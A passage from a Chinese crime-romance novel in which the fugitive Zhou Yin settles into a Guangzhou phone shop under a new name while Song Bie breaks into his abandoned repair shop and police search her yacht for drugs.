学生们这个时间约摸是在上课,校园里空荡荡的,只有几个老师边走边说话。她想起曾经,说去学校里走走,周寅也说好。 学校门卫晓得她是副校长的千金,登记都没有让登记,直接放两人走了进去。 这几年澄州一中的变化也不小,学校的规模越来越大,操场都翻新了好几遍,以前没有的设施都给加了上来,可几乎也没怎么有学生用。唯一不变的,大概就是教学楼前的光荣榜了。 周寅问起她:“你以前是在这里读书的吗?” “嗯。”宋别指了指一边的教学楼,“以前我就在那里上课,那时候阳台还没加窗户,也没人跳楼。” 他笑了笑,问她:“以前你成绩好吗?” “就那样,和你差不多。”宋别说,“你老家是哪里的,怎么听着还有点我们澄州的口音?” “老家在河北那边,来澄州来了挺多年,入乡随俗了。” 宋别听着他的回答,意味不明地笑了一声,没再说话。 教学楼里在这时响起熟悉的下课铃,没多长时间,学生就乌泱泱地从楼里跑了出来,一个个手里都握着单词本,这个时间是他们跑操的时间。 他们逆着人流,不少学生莽莽撞撞的,撞到人也没发觉,周寅伸出手,下意识把她搂紧怀里。他的肩膀很宽阔,像是到坚实的壁垒,把她隔绝到人群之外。 她在他怀里,莫名有种安心。 两人走到两栋教学楼之间的路上,这里还贴着光荣榜,不过是荣誉校友的照片。周寅一抬头,看见了最上面她的照片,她是所有人中最明艳的,哪怕照片上的她根本没有化妆。 下面的小字写着她的成就,宾夕法尼亚大学沃顿商学院等等,周寅心想,绝对不止于此。 宋别也抬头往上看,一排排的人头看得她头疼。 这个照片还是早几年拍的,当时她很罕见地放假回了一次国,就被宣霖拉着过来凑数了。见周寅还在不错眼地盯着上面,她忍不住问:“看什么呢,这么久。” “看你。” “好看吗?” “好看。” 宋别伸手摸了摸他的脸,没说话。 他们在学校里走了一会儿,她的手机就想了起来,对面似乎很急切的样子,这场没头没尾的“约会”只好戛然而止。宋别开车把他送回去,周寅下了车跟她再见:“你先走吧。” “我看着你进去。” “嗯。” 他走到半道,还没到门前,又忽然折返回来,走到她那一侧的窗边,敲了敲窗户。宋别把窗户降下来,外面的热气迎面而来,铺陈到她的脸上,同此而来的还有周寅。 他伸手握住她的后颈,在她额头上印下一吻。 “宋别,我走了。” * 林康安到光明修车行的时候,没想到会在这里看见一个熟人。 宋别抬起眼,看见了从摩托车上抬腿下来,摘安全帽的林康安。只是一眼,又平静地收回去,反倒是她,紧张地问宋别在这里干什么。 宋别站在卷帘门前,没有回答林康安,她自己心里都烦躁地要命。从什么时候开始,对,从今天早上,电话不通,再打就变成了空号,现在临近中午,修车行的大门还在紧紧关着,好样的,周寅真他妈好样的。 “撬开。” 她对后面的人这么说了一句,林康安才注意到她是带着人来的,那人拿着一箱工具,走过去,低头就开始倒腾起来,是修锁工。 没一会儿,两人听见“啪”的一声,卷帘门开了。锁工把门给抬上去,里面的门并没关,宋别走进去,林康安也紧随其后。一楼的什么都还在,工具,设备,一样没少。她扫了一眼,上到二楼,门没锁,轻轻一推就推开了。 一切如常。 人去楼空。 电视沙发什么的都还在,包括那个佛龛,只是没有任何人的生活痕迹,干净的像是家具店的样板房。 林康安眼睁睁看着这一切,等她反应过来不正常时,已经来晚了。她转头看向宋别,咬了咬牙问:“你怎么会在这里,你们是什么关系?” 关系吗?宋别想了想,唇畔淌出一丝冷笑,回答她:“睡过。” ——澄州部分完。 16. 第 16 章 1. 开学之后就是我们成为高中生的第二个学期,我们像是终于熬过那段懵懂无知的时期,也进阶成“老油条”了一样,神色里从最初带着些好奇和胆怯,变成了微微的神气。 每个开学日都要进行一番动员大会,这似乎是澄州一中的传统,不过这次的代表终于不是我,大概是有了上一次的教训,他们把代表换成了宋别。 那是她很年轻,用年轻这个词形容或许都有些不够恰当,她还很小,十三四岁,站在上面比我们都要矮一截,念着让人兴致缺缺的稿子,没有任何特别的地方,我想她大概也是不太愿意在这上面下功夫的,只不过她选择了比我更聪明的做法。 中规中矩,挑不出错。 高一的第二个学期最重要的事情大概就是文理分科,这件事情早几个星期时我的狐朋狗友就在讨论选文还是选理。 那时是九零年代,我们的父母甚至是我们都还不太有“追星”的概念,相较于电视上的歌唱和表演明星,他们反而更崇仰那个证明了哥德巴赫猜想的陈景润。于是无论学校再怎么不遗余力地宣传文理一样,那一年文科的人选还是寥寥无几。 宋别和我一样,选择了理科。 老师本想我们两个应该至少有一个选择文科,而那个人默认是她。她是女生,在传统观念里,女生是要比男生更适合学文的。 曾经视她为心头宝的政治和历史老师也苦口婆心的劝慰过,那是我路过办公室时无意间听见的。我站在门外,想去听她如何抉择,我不想失去这样一个同类和对手。她的声音不大,话也不多,只是说我会考虑。 不知道为什么,我好像就是知道她只是懒得争辩从而找的托辞,事实也确实如此,一直到文理分科表交上去时,她的回答也始终是考虑考虑。 我们俩再次成为了隔壁班同学,没有多说过一句话,也没再有过什么交集,只是每次楼前的光荣榜放榜时,我的目光都会下移一下,去看她的分数。 是的,下移。 从那次冬天之后,她的成绩再也没有胜过我,却始终紧紧咬在我后面,一分两分也有过,十分八分也有过,荣誉榜上我们的照片都没有再揭下来过。 渐渐地也没有再讨论这件事,他们似乎已经习惯了我们的存在,知道这个位置本就不属于他们,不属于的东西,何必再去觊觎。唯一留给他们的只有认命两个字,承认他们的平庸,然后在这条平庸之路上长久地走下去。 后来,当我也渐渐习惯了这样的模式之后,眼里也不再有她了。我们所有人都如常一样,学习,写试卷,做题,日复一日地消磨着我们的青春时光。 狗友一号终于把他的“女神”追到了手,那个女生还是在我们的隔壁班,他们每次放学时都一起走,他不再跟我去网吧玩红警,或者去游戏厅打拳皇了。女生的书包背在狗友一号的肩上,他们坐在学校门口的奶茶店时,她也会把头靠在他的肩上。 我被拉着“偷窥”过他们一次,狗友不知道什么时候已经长得那么高,女生在他面前显地小小的,手放在口袋里,然后狗友的手也伸进了她的口袋,把她的手牵出来。 我的几个朋友在后面激动地吱哇乱叫,喊着牵上了,牵上了!我去,他真有种!这样的话。差点就要被发现。 我看着他们你侬我侬,还是没太开窍。 真正让我开窍的是一个女生,我也早已经不记得她的名字,姑且称她为女友一号,即便那时的我们幼稚,二缺,没担当,但也真诚,善良。 她是狗友一号女神的朋友,这种八竿子才能打着的关系怎样都显得有些不伦不类,然而我们就这样认识了。她的样子我也已经记不太清,好像是挺漂亮的一个女生,留着长长的头发,不喜欢扎起来,总喜欢披在身后,像绸缎一样。 她也喜欢涂指甲油,粉色红色黑色,大概都在她的指甲上出现过。 她第一次找我,是拜托我转交什么东西给狗友一号,我说好,她看着我笑了笑。第二次找我,是说有人找我,放学之后在学校后面的公园。 我问她是谁,她没有说。我去到那边之后等了很久都没有等到人,正打算离开时,她背着书包走了过来,一只手握着奶茶,另一只手里还是奶茶。然后走到我面前,把奶茶抵进我怀里,对我说,给你的。 那时冬天虽然已经过去,但正值北方的倒春寒,她放在我怀里的奶茶还是加了冰的,把我结结实实凉了一下。我再次问她谁找我,她吸了一口奶茶对我说,我找你,我喜欢你,你要不要跟我在一起。 不知道为什么,那些刻薄的话在我脑海里散去,吐不出一句。并且她也没有给我说话的机会,拽着我的领子就亲了上来,她的嘴唇碰上我的嘴唇,我的脑子里有一瞬间的空白,也不记得当时是什么感受,只知道那个吻——或许根本算不上吻,冰冰凉凉的,带着点甜甜的奶茶味。 后来我们就在一起了,大概是在一起的,我也开始替她背书包,放学骑着我的自行车载她回家,然后她像狗友的女朋友一样搂住我的腰,靠在我背上,唱着MP3里的流行歌曲。 我还是不知道什么叫做喜欢,只知道那时身体里耸动着一股血液,灼烧着我,让我靠近,怀念那个北风之下的冰凉的吻,还有那一杯把我烫伤的冰奶茶。 过了很久我才后知后觉的明白,或许这是心猿意马,也可能是好奇心作祟,总之,那时流淌过我心底的血液,只属于我,而不属于其他任何人。 2. 下飞机的时候已经是下午三点了,广东的天气比周寅想象的更热,而且这种热不是在澄州时的火辣辣地烤着你,还夹杂着一种闷,让人喘不上气儿来。 他从行李转盘那里拿了行李,走出机场,顺手从口袋里摸出手机,还是之前的那一部,只不过换了一张新卡,旧卡已经被他折断,丢进了不知道哪条河里。他也只收拾了几件常用的东西,擦屁股的活,有人替他做。 还没等他翻出电话,手机就响了起来,看号码,是孟良的新号。 “喂。” “到那儿了吗?” “嗯,刚下飞机。你也快了吧?” “这两天就走,跟你说件事,孙勇被警察抓了,你那边没什么动静,嘴上挺严的,真不愧是吕澄阳找的人。” 除了“蚁工”“骡子”之外,这种组织里一般还有个职位,叫“羊羔”,就是像孙勇这样的,说白了,就是替死鬼,替罪羊,警察查那么严,总得给他们送点人命过去。孙勇这样吸了毒戒不掉,活不了多长时间,还有老婆孩子的人,最适合去送命,绝不可能说出来。 周寅淡淡应了一声。 孟良接着说:“我们在你那儿盯了几天,警察是没去,你知道谁去了吗?” 他说这话的时候带着点轻佻的笑,周寅像是有预感一样,心中倏然一紧,沉声问他:“谁去了?” “还能是谁?”孟良笑着:“你的小情人啊。那个叫宋别的,你走了没两天过去找你,她是真厉害,直接找人把那儿的门给撬开了,幸好收拾的干净,不然这妹妹估计要把天给捅出个窟窿来。” 周寅听着宋别的消息,嘴角不自觉扬了起来,这确实像是她能做出来的事:“然后呢?” 他问。 “你还想要什么然后,你这都招惹了什么人呐我说。”孟良粗声骂道,“行了,反正她也找不着你了,在那边好好待着,说不定以后我还要仰仗你。” “嗯,挂了。”周寅不多说,抬手挂断了电话。一抬头,就发现有人正冲他招手。 那人见他挂了电话,就朝他走了过去,顺手接过他手里的行李:“是周哥吧,沈缚哥让我过来接你的,我姓许,叫许岸,你叫我小许就行。” 周寅上下打量了这个小许一眼,人挺年轻的,看着也就二十出头的样子,留着一头利落的短发,笑起来脸上有两个浅窝。他顺口问了一句:“今年多大了?” “前两天刚十九。”许岸挠了挠头,说起年龄的时候有种这个年纪特有的羞涩,“不过你放心,我办事可利索了。” “干这行多久了?” “没多长时间,你是不是怕我做的不好啊,你放心周哥,我可勤快了。”许岸年龄小,什么都写在脸上,连这点慌张也藏不住。 周寅抿了抿唇,对他说:“不是这,就是觉得你这个年纪……该读书。” 他松了一口气,傻呵呵笑:“我从初中就不上学了,不是那块材料。后来遇见川哥了,他带我入的行。哦,你不知道他吧,杜川,你来之前是他在这儿。” 周寅点点头,又看了许岸一眼,许岸见他看过来,朝他咧嘴一笑,一排牙白的晃眼。 他想起自己刚入行的时候,也是跟他差不多大,比他还小两岁,但没他这么没心没肺,那个时候,他其实已经什么都知道了。 他们上了车,许岸一边开车一边跟他介绍这边的情况:“沈缚哥说了,不急着上手,让你先休息两天,然后那几个场子让你看看,喜欢哪个就接手哪个,上次那个修车行太累了,不行这次就来棋牌社吧,清闲。” “别的还有什么?” “还有一家酒吧,迪厅,还有个手机店,不过地方有点偏……” “就那个吧。”周寅咬了一根烟,拿出打火机点燃,“就手机店。” 许岸不理解:“那地方多累啊,还没什么好玩的。” 他笑了笑,觉得他还是个小孩子,整天就想着玩,别的就不管不顾了:“手机店挺好的,清净,不乐意跟人打交道。” 许岸瞥了周寅一眼,说成,听你的。他也不太理解这个新搭伙人,以前的杜川也好,沈缚也好,没有跟他似的,放着麻将馆和酒吧不去,就去一个小手机店。还不爱说话,看起来像是个闷葫芦。 手机店的地址在花都区一条小街上,在去的路上周寅观察了一下广州的街道,这儿跟澄州的布局大不相同。澄州地处北方,人口远没有这里密集,甚至连长相都有差别。 这边的人肤色普遍比北方要黑一点,眼睛比那边的人要大,嘴唇也要偏厚,眯着眼睛时,总给人一种很精明的感觉。 大概是由于人口的缘故,这里的房屋布局也很稠密,很多他以为难以通人的小巷甚至都能做成店面。好在那个手机店还算宽阔,旁边挨着一家花,一家糖水店,对面是一家肠粉店。 还是卷帘门。 许岸拿钥匙开了门,然后把钥匙递给他,里面收拾的很齐整,家伙什也都很完备,玻璃柜里摆着手机模型,墙上挂着各种数据线,手机保护套之类的。 “这是前不久刚接手的,设备都还挺新,偶尔也会有人过来修修电视电脑之类的,哥你要是弄不了就直接说修不了就成,反正也就是个摆设,咱也不靠这吃饭。” 许岸热切地介绍:“楼上的房间也都收拾好了,你看缺什么尽管跟我说,从这儿过去,到路那边拐个弯儿有个小院子,车都停在那里,还是原来的型号,这是钥匙。对了,这是你在这里的名片。” 周寅接过来,看了一眼上面的名字,陈恪,而后很快收回了目光。一路上的闷热让他没什么说话的心情,就让许岸先离开:“你忙了一天也累了,先回去吧,我自己看看就成。” 他又伸手挠了挠自己的后脑勺,然后嘿嘿一笑,露出一口白牙:“成,那我就先走了哥,你有事尽管联系我——我随叫随到!” 周寅关了店门,把东西搬到二楼,打开空调在床上躺了一会儿。 没有多久,热气终于被驱散,这阵清凉里,多日以来积蓄的疲惫一同涌了上来化作倦意,他很快闭上了双眼,慢慢地,意识开始模糊。就在将睡未睡的时候,一个什么东西从脑海里闪过,像给即将熄灭的火焰狠狠添了一把新柴,又熊熊燃烧起来。 他从半梦半醒中彻底清醒,脑海中的事物也逐渐清晰。 是一道身影,红色修身连衣裙,长而密的头发,还有她匪里匪气的笑容。是一句话,来日方长。 周寅的手伸向自己的心脏处,不知道是不是因为梦中惊醒还是别的什么,总之它不正常的猛烈跳动着。他回想起和孟良打电话时,孟良告诉他,宋别去找他了,还让人把修车行的门给撬开。 这姑娘,真是个土匪。 他有些想笑,却无论如何都笑不出来,其实他挺想看看那时候宋别撬门的样子的,无论想象多丰富,还是要差点。 周寅烦躁地想点根烟,摸出烟盒却发现已经空了,就把空盒子捏扁放到一边的桌子上,翻出手机,一眼就看见了通讯录里最上端的那串号码,上面的备注只有一个字——别。 指尖在上面反复摩挲着,屏幕闪烁着浑浊的光,直到手机自动熄屏,他才终于回过神,更加烦躁了,合上手机,站起身扯了件裤子打算去浴室里洗澡。 就广州这个温度,凉水澡估计都没什么。他也确实是这样,把温度调到最低,等到水从花洒上落下来,才感到稍稍平静。就是这样,他也恍然意识到什么,他刚才在想宋别。 是的,他在想一个女人,这个女人是宋别。 温度调节器已经调到最右端,没办法再凉,可他还是感觉身体里有一股无名之火,怎么压也压不下去,怎么浇也浇不灭。 发现他真的不见了,以宋别的性格会做什么?周寅想不出,但绝对不是哭哭啼啼了事的,她看起来就不像是会哭的人,而是那种,擅长让别人哭的。 她会找到他,然后要他好看吗? 周寅又不自觉开始想她了,并且等他自己发现时已经渐入佳境,为时已晚。 他知道最好是这辈子,那个周寅就死在澄州就好,再不要出现,可他心底就是怀着一种隐秘的冀望,希望宋别可以找到他,无论带着什么情绪。 这种希望还不是多么微弱,至少他已经察觉到了,而且没有制止它在自己心里生根发芽。或者说,是他自己想见她了。 周寅仰了仰头,让凉水从头顶浇下来,终于平静了一点。他随便再身上冲了冲凉,很快洗完,随便套了两件衣服下楼,打算去买两盒烟来。 这种小巷子,人在街上都得贴着墙根走,不定哪里就窜出一辆车出来。他没走多远,拐角处有一家便利店,店前面堆着几包陈皮之类的东西。他绕过那些走进去,老板正在柜台前翘着二郎腿嗑瓜子。 电视上放着郑伊健主演的《古惑仔》。 周寅短促地看了一眼,随后很快收回目光,问老板:“玉溪有吗?” 老板的眼神才终于从电视上挪开,扫了身后的货架一眼,啧了一声,普通话很蹩脚,还带着粤语口音:“玉溪没有了,换别的行吗?” 周寅随手指了一个,等老板递过来才发现是款没见过的烟。名字叫羊城,大概是这边独有的。 回去的时候,他就接到了沈缚的电话,没什么特别的事,就是叫他过去一块喝顿酒,也算是给他庆庆功,毕竟要不了多久,周寅做完广州这一次就可以到吕澄阳那边了。这对他而言足以说得上是高升。 周寅也就没有推辞,答应了下来。 沈缚把地点定在了一个大排档,晚上七点多,人出奇的多。里面的座位人已经满了,他们三个只好坐到外面,鼓风机呜呜地吹着,也不算太热。 他第一次到广州,还有些不熟悉路,到的时候两个人已经在那儿等着了,看见他过来,许岸站起来朝他招了招手,大喊一声:“寅哥,这边!” 沈缚坐在他身边,用筷子往嘴里夹了颗花生米,伸手拉了个椅子给他坐下:“你以前都是在北方的,来这里多少有些不习惯,适应适应。” 周寅坐下给自己点了一根烟,说:“在哪儿都一样,没什么不习惯的。” 沈缚哼笑了一声:“也就是你了,要是老杜,不定嚎成什么样呢。” 许岸年轻,话多,嗓门也大,有他在场整个场子都冷不下来。他很快把这句话接了过去,闷了一口酒说:“那是,我们川哥成娇气了。” 沈缚笑着,倒了杯酒推到周寅面前,踹了许岸一脚:“不怕我跟你川哥告状啊?” 他嘿嘿一笑,又挠了挠脑袋。 “周寅,你跟着吕哥得快十年了吧?算起来今年该……二十六,二十七岁了吧,你们在哪儿遇见的来着?” “二十七,有十多年了。”周寅说,“在云南那边,那时候吕哥也还没跟现在似的呢。” “你也算是老人了,这些年跑东跑西的,没怨言吧?” 沈缚说话时,用酒杯碰了一下他的,周寅也把杯子举起来,仰头把里面的酒给喝完,喉头泛起一些辛辣的感觉,他把这感觉往下咽了咽,对沈缚说:“缚哥,你这是说得哪里话,我这条命都是吕哥给的,谢他都来不及。” “那就好,这几个人里,说实话吕哥最器重的还是你,你们俩十年的情分,不是外人比得了的。” 周寅没有再回答他的话,干笑了两声,又被沈缚倒了一杯酒。 沈缚自己也喝了小半杯,用余光瞥他。沈缚自己做着行当也挺长时间的,见过的人不少,可没有周寅这样的。 他见过那些流氓一样的,爱钱,贪色,浑欲一身,也见过那些忠诚的,诚实的,奉为信仰。更多的是像许岸这样的人,不知所谓。可是周寅他既不爱钱,也好像对吕澄阳没那么忠诚,更不是刚入行的毛头小子,他在这行已经十年了。 如果真要形容,他更像是一个行尸走肉,沉默,麻木,沈缚从他身上看不到任何人性。 他再给他倒了一杯酒,恭维道:“以后到了吕哥那边,还指望你替我说说好话。” 周寅的神色还是没有任何变化,接过来酒喝进嘴里,说:“吕哥跟前,你比我说得上话。” 他喝完这一杯,沈缚还想给他倒,就看见他把手扣在了杯口,半开玩笑半认真地问:“沈缚哥,这是要灌我啊。” “呵,你要是个女的我就灌你了,把你灌醉,我图什么。”沈缚笑了笑,眼尾几条纹路褶在一起,桃花眼都这样,味儿挺正。“你要不乐意喝就不喝,还是说,你记恨着上次我那一下。” 话到这里,周寅也笑了笑,不想把气氛弄那么僵,于是自己给自己到了满满一杯,“说起这个,我还得谢谢你宽容我们那么长时间,这要是让吕哥知道了,我这条命早就归西了。缚哥,这杯我敬你。” 场子热起来,许岸也和他们俩对碰了一下,酒液混进别的杯子里,都灌进了嘴里。 周寅的酒量其实并不算好。 他不常喝酒,以前跟在吕澄阳身边时也不太喝。吕澄阳这个人,生活作息比一般人都要规律,唯独抽烟抽得猛一点,其他的什么都不碰。不喝酒,不熬夜,天天晨练,印象里好像连女人都很少碰。 到后面他也确实有点晕了,模模糊糊看见杯子里又被倒满了酒,还是硬着头皮给喝完。 “寅哥,寅哥!”许岸摇了摇周寅,人彻底趴在桌子上起不来了,他像是发现了什么新鲜事,咧嘴笑开:“寅哥酒量这么差呀,这么几杯就倒了……” 沈缚看向趴在桌子上的周寅,大约是真的醉了,怎么喊都没醒,他点了根烟来抽,对许岸说:“行了,把他扶到我车上吧,我送他回去。” “哎。”许岸应了一声,用手托起周寅,把他的胳膊搭在自己肩上架起来,踉踉跄跄地往外走,好不容易才把他弄上了车,呼出口气:“寅哥看着挺瘦的,还不轻啊。” 沈缚不知道什么时候走到了他身边,甩手拍了拍他的胸脯:“瘦得跟猴似的,多吃点吧。” 他不好意思地笑了笑,对沈缚说:“那我就先走了。” “嗯。” 沈缚摆摆手,自己也上了车。关上车门,没往大道上开,挑了个小巷子停住。 这条巷子里几乎没什么人,唯一的那盏路灯也早就坏了,一片昏暗,只有车里隐约透着昏黄的光,照在两个男人的脸上。沈缚的烟还在嘴里燃着,吐出一些白雾,他透过后视镜看后座的周寅,眉头微皱,呼吸声有些重,但很均匀,看来是睡熟了。 他也就放下心来,身体往后一探,在他裤子口袋里摸出一个硬物,拿出来,确认是手机无疑。 沈缚打开,这款手机型号挺旧的,还不支持密码功能,很轻松就打开了。他点开信息那一栏,几乎什么都没有,零星几条也都是些无关紧要的事,他在手机上话依旧很少,多半是对面抛出一个问句,他回答是或者不是。 他翻到了底,还是什么都没发现。 沈缚返回去,看着手机上为数不多的几个软件,想了想,点开了通讯录。上面记录的电话他也都知道,只有一个是陌生号码,在最上面,名字上只有一个字,别。 他拿出自己的手机,把这串号码记了下来,再返回去找,干干净净,什么都没有。连相册都是一干二净。 沈缚把手机关上,又放进他的口袋里,重新启动了车子。 扶他上楼的时候周寅醒了一些,意识还是模糊,说得话都不清不楚,沈缚把他给弄到床上,转身去浴室用热水打湿毛巾,又把水拧干,甩在他脸上,压着声音问:“周寅,那批货你到底是怎么弄进来的?” 周寅不舒服地用手拿开毛巾,半睁开眼,只能看见一个模糊的人影。 “怎么弄进来的……”他重复了一遍他的话,重新闭上了眼,停顿很久,再次睁开,清晰地吐出两个字,让沈缚的心都惊了一下,差点以为他根本没醉,但是很快他就又重新闭上了眼, 周寅说,水路。 沈缚去碰了碰他,很快就有轻微的鼾声传来。 他这才长舒了一口气,下楼离开这里。 沈缚拉上卷帘门,走进车里翻看起刚才拍下来的那张照片,别字是“B”开头,被通讯录自动拍在了第一个,上面显示着上次的通话时间,就在前不久,周寅还没离开澄州的时候。通话时长却只有两分钟。 他看了周寅的通话记录,和这个号码的联系并不频繁,但却很稳定,是不是就会有一通电话, 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这样一个人,和这里格格不入,那次让沈缚记住了他。 吕澄阳对周寅的其中不无道理,这正也是他不愿意看到的,哪怕是“同僚”,不还分个三六九等吗。 他转了转手里的手机,该解决的要尽快解决,不然到最后可就是他的绊脚石——吕澄阳这个人,疑心病重,而且心狠手辣,一次办事不力等着的就是枪子儿。说不定这个所谓的“别”,还真的是给他送上门来的一把刀。 沈缚笑了笑,拿出手机拨通一个号码,对那边的人说道:“我给你一个号码,查查是谁。” “怎么了缚哥,是出了什么事吗?” “让你查就查,哪来那么多废话。” * 宋别站在二楼门口,看着被收拾的干干净净的房间,往前走了走,站到窗户边往下看,从这里可以看见对面的街道,太阳把那整条街照得没有一丝阴影,站久了,连自己脸上都有些微微的烫意。 她依稀记得某个清晨,她从卧室里走出来,就看见他站在窗前抽烟。 林康安扫视了一遍整个房间,拿手机拍了几张照片,然后皱着眉看向宋别:“你刚才说得什么意思,你和他从什么时候开始的,还做了什么?告诉我。” 宋别倚在窗棂前,缓缓转头看向林康安,光照得她有些睁不开眼,于是半眯着看她,语气一如既往地冷冽:“林康安,收收你那颐指气使的样子,好好跟我说话。你先告诉我,你怎么找到这里来的?” 林康安捋了捋自己的思绪,却发现也没有什么能够解释的,她不知道从哪里说起,记者的直觉吗? “他有嫌疑。”最后,她干巴巴地说出这一句,“可能和澄州最近的贩毒案有关。” 宋别点烟的手一顿,但也仅有一瞬,很快就继续擦着了火,一手挡风一手点燃嘴里的烟:“爸说的?” “我怀疑。” 林康安说道,底气明显弱了下去,“你现在能告诉我你和他是怎么回事了吗,退一万步讲,哪怕这个人真是清白的,你怎么会和这样的人扯上关系?” “我愿意。”宋别冷笑一声,不愿意就和周寅的事多说什么。 她问了林康安一个问题:“你还记得谢琅吗?” 她当时跳了两级,和林康安是同一届,都是九六级澄州一中的学生。那一届的人,没有人不知道谢琅。 宋别不错眼的看着林康安,把她每一个表情都尽收眼底,像是想要为什么正名一样,暗自期待着她的回答。她对这个姐姐从来过这样的情绪,对任何人也没有过。 然而林康安的眉头皱了起来,思索了几秒,问她:“谢琅是谁?” 宋别脸上的表情在无人察觉的片刻有了一丝皲裂,她掸了掸烟头的烟灰到窗外,有送进嘴里抽了一口,对她说:“没谁,走了。好好查你的案子吧,林大记者。” 走到外面,发现开锁的人还在那儿等着,旁边还站了一个男人,死拽着他。 开锁师傅见到她来,像是看到救星一样,过去急吼吼说道:“你不是说这是你家我才来给你开门的吗,这这这,咱可不能干违法的事啊……” 旁边那个男人上下看了她一眼,声音很粗:“什么她家,这是老子的地盘,说,你来这儿干嘛来的?” “你的地盘?”宋别笑了一下,问他:“这儿的老板原来不是姓周吗,什么时候成你的了。” “这儿以前确实不是我的,可老板不姓周,姓谢,前不久刚把店盘给我。我说,你到底是来干嘛的,不说清楚我可报警了。”男人作势就要拿出手机报警,宋别熄了烟,接着问他:“什么时候的事?” “我干什么跟你说,你这小娘们到底干嘛的?!” 宋别没多说,从包里拿出一叠钱,折了一折,塞在男人胸前的口袋里,又问了一遍:“什么时候的事?” 男人低头瞥了瞥自己口袋里的纸张,拽着开锁工的手也松开了,摸了摸鼻子回答她:“三个月前了,那时候就签了合同,我都有复印件的,不信你可以看。” “这儿的老板叫什么,谢什么?” “谢江,三点水那个江,谢谢的谢。” 三个月前签的合同,这是早就准备好跑路了是吗。宋别没再问下去,上了车,踩上油门就离开了这里。 她把车速提的很快,几近于飙车了,窗户半开,耳边的风呼呼地吹着,周围按喇叭咒骂的声音一律听不见。有一件事可以确定,这个叫周寅的人,确确实实耍了她。 这么些年跟她玩心眼儿的人不少,她也没少跟别人玩心眼儿,可是周寅。一个她没想过的人把她耍了,在看到被收拾的窗明几净的房间时,宋别心里涌上来的不是伤心,而是愤怒,那种恼羞成怒的愤怒。 不止如此,她不是傻子,当然晓得这么不留痕迹地离开一定有古怪,而不单单是为了避她这么简单。 车不知道上了哪条路,一路狂奔,四周的车流渐渐少了起来,到后来一辆都没有——还是有一辆的,一辆摩托车。 那辆摩托车速度比她还快,一脚油门过去,直接把她甩在了后面。宋别较量地心思不多,本来今天开的这辆不是什么赛车,可那辆摩托车不干,甩出她一小端距离,直接横停在了大马路上。 要不是宋别刹车及时,很可能就会直接撞上去。 她被安全带狠狠别了一下,当即停车走下去,指着摩托车主大骂:“林康安,你找死呢!” 林康安摘下安全帽,挑了一下眉问她:“咱俩谁找死?” “你到底要干什么?” 她还是不依不饶:“你告诉我,你和那个修车行老板什么时候开始的,到底怎么回事?” 宋别心底也正烦躁,倚在车身上没好气地说道:“我看他长得好,身体好,就把他给睡了,很难理解吗?要不要告诉你我们用的什么姿势,做了几次?” “你的意思是,是你找的他,不是他找的你?”林康安立马捕捉到关键信息,站定问她,“宋别,这不是开玩笑的,你知道毒贩意味着什么吗?” “是我找的他。”她稍微正色了一点,可很快又恢复了那种二五八万的样子:“林康安,你别在那边待得久了看谁都像毒贩,这里是中国。我也知道意味着什么,不就是死刑起步。” 林康安看着宋别,这个继妹这些年几乎没怎么变,只是年龄的增长,经历的丰富让她更加成熟,更加窈窕,气势也更加凌人,本质上并无变化。她一开始只以为是性格使然无可厚非,到今天,她才终于意识到问题所在。 她走过去,烈日下紧盯着她的双眼,沉而缓地说道:”宋别,不要太想当然。” 宋别吐出一口浊气,同样对这个姐姐没有任何办法,但她也表明了自己的态度,坦坦荡荡地回视过去:“林康安,我跟你保证,如果他真的和这沾边儿的话,我亲手要他的命。” “别这么说。”林康安说,“你没资格。” 她说完,转身又跨上了摩托车,开车扬了宋别一脸尘。 她被林康安搞得没话说,那股火像是被生生被尘土埋了下去,也让她冷静下来,如果周寅,不,如果谢琅真的和这东西有关系的话,宋别想,自己真的有可能会杀了他。 宋复骂她的一句话可能真没说错,疯子。 周寅和不和那事有关系尚待定论,但他一声不响走人,在她这里不能这样。 宋别回去上了车,车速慢下来,慢慢往回开,思索着周寅的事。改名换姓,改头换面,她几年不回国,真不知道什么时候自己给自己混成这样子了。 但也不得不说周寅走得确实干净,她的关系在国内的也不算多,一时之间真的没什么头绪。可让他这么跑了,宋别也实在不甘心。 转机在某一天的晚上,那天宋别在家里,她有失眠的毛病,混着酒吃了点安眠药,药劲儿还没上来就接到了一个电话。 那是一串陌生号码,她接起来:“喂?” “……” 对面一阵沉默,她不知道哪来的预感,叫出了那个名字:“周寅。” 电话被挂断了。 刚才吃的药一下没了什么用,她更加清醒过来,把这个号码发给了在美国时候的朋友,让他帮忙查一下IP属地,那边第二天才给回复,号码是在云南昆明办理的,但现在不在那里,而是在广东广州。 宋别看着电脑上的回复,目光落在最尾的几个字上,广东广州。她记得,周寅似乎是会讲粤语的。 只是还没等她腾出手去处理这事,后院就开始起火了。 来找她的是熟识的人,小郑警察和小东警察,两个人带着一纸搜查令到她办公室,要求对她那艘游艇搜查。 宋别看着上面盖着的钢印,像这种搜查令申请下来也需要流程,不会平白无故想搜查谁就搜查谁,她问了一句:“你们要搜查什么?” 小郑警察看着坐在老板椅上,悠哉悠哉把烟放进烟托的宋别,她脸上没什么特别的表情,可大约也就是这样的平静,让人无端恼火。 “搜查出来才知道是什么。”他也一副公事公办的语气,“请你配合调查。” 宋别仰在椅子上,抽了一口烟,脸上终于绽开一丝笑:“小郑哥办事,我当然配合。” 她说完这句,小郑警察脸上的神色才有所缓和,说道:“你放心,没有问题的话我们也不会污蔑人。” 搜查的时候宋别是跟着他们一起去的,但她也没有太走进去,就只站在甲板上静静看着。这艘游艇早就被里里外外打扫过一遍,估计连根头发都没有。 不出所料,警察什么都没搜出来,最后收队,空手而归。 宋别瞥向带人来的小郑警察,幽幽问道:“小郑哥,你们到底想在我这儿找什么?” 小郑警察抿了抿嘴,要说不说的时候,宋别已经回答了他。 “是毒品吗?”